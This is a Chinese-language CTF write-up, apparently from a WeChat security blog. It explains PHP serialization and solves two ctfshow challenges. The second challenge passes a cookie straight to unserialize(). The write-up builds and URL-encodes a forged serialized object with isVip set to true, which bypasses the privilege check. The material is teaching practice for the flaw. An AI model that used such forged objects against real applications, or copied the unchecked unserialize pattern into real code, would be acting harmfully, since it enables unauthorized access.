序列化是将数据结构或对象状态转换为可以存储或传输的格式的过程,通常是转换为字节流、字符序列或其他特定格式,以便在需要时能够在相同或不同的环境中重新创建出具有相同状态的对象或数据结构。
(1)实现跨平台和跨语言的数据交互
通过将数据序列化为一种通用的格式,如 JSON 或 XML,不同的系统和语言就可以方便地进行数据交换。
(2)提升数据传输效率
在网络传输中,将数据序列化为紧凑的格式可以减少数据的传输量,提高传输效率。特别是对于大量的数据或复杂的对象结构,序列化可以对数据进行优化和压缩,使其更适合在网络上传输。
(3)支持对象状态的保存和恢复
在程序运行过程中,对象的状态可能会发生变化。通过序列化,可以将对象在某个时刻的状态保存下来,然后在需要的时候恢复到该状态。这对于实现程序的断点续传、状态回滚等功能非常有用。
反序列化是与序列化相反的过程,是指将已经序列化后的数据(如字节流、字符序列等)重新转换为内存中的数据结构或对象的操作。
反序列化是一种数据恢复技术,它将存储在文件、数据库、网络传输中的序列化数据,按照特定的规则重新构建成内存中的数据对象或数据结构,就像把之前拆解并运输过来的零件,按照原来的标识和位置信息重新组装成原来的物体,使数据恢复到其在内存中的原始状态,以便程序能够继续对其进行处理和操作。
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: [email protected]# @link: https://ctfer.com*/error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
(1)解题思路
代码分析:题目中的ctfShowUser
类默认设置username
和password
为'xxxxxx'
。login
方法会检查输入的用户名和密码是否与这些默认值匹配,如果匹配成功,会将isVip
设为true
。
条件触发:当login
方法返回true
后,checkVip
方法会检查isVip
是否为true
,若为真则调用vipOneKeyGetFlag
方法输出flag。
Payload构造:使用默认的username
和password
值'xxxxxx'
进行登录即可满足所有条件,触发flag的输出。
(2)解题步骤
构造GET请求:在URL中添加参数username
和password
,均设置为xxxxxx
。
发送请求:访问构造好的URL,服务器验证通过后返回flag。
(3)解题代码
https://xx.challenge.ctf.show/?username=xxxxxx&password=xxxxxx
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: [email protected]# @link: https://ctfer.com*/error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
(1)解题思路
代码分析:ctfShowUser
类的login
方法仅验证用户名和密码,不再设置isVip
为true
。isVip
的值必须直接来自反序列化的对象。
反序列化漏洞:通过篡改序列化字符串中的isVip
属性为true
,绕过权限检查。
双重验证:需同时满足login
验证(正确的用户名密码)和isVip
为true
。
(2)解题步骤
生成恶意序列化对象:创建一个ctfShowUser
对象,设置isVip
为true
,并序列化该对象。
设置Cookie:将序列化字符串作为user
的Cookie值。
发送请求:通过GET参数传递正确的用户名和密码,触发逻辑获取flag。
(3)解题代码
<?php//highlight_file(__FILE__);$a=123;class ctfShowUser{ public $username = 'xxxxxx'; public $password = 'xxxxxx'; public $isVip = true;}$a = new ctfShowUser();echo serialize($a);?>
获得序列化的代码
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
对获取的代码进行url编码
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
获得CTF Flag
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
原文始发于微信公众号(菜根网络安全杂谈):不妨练练反序列化漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论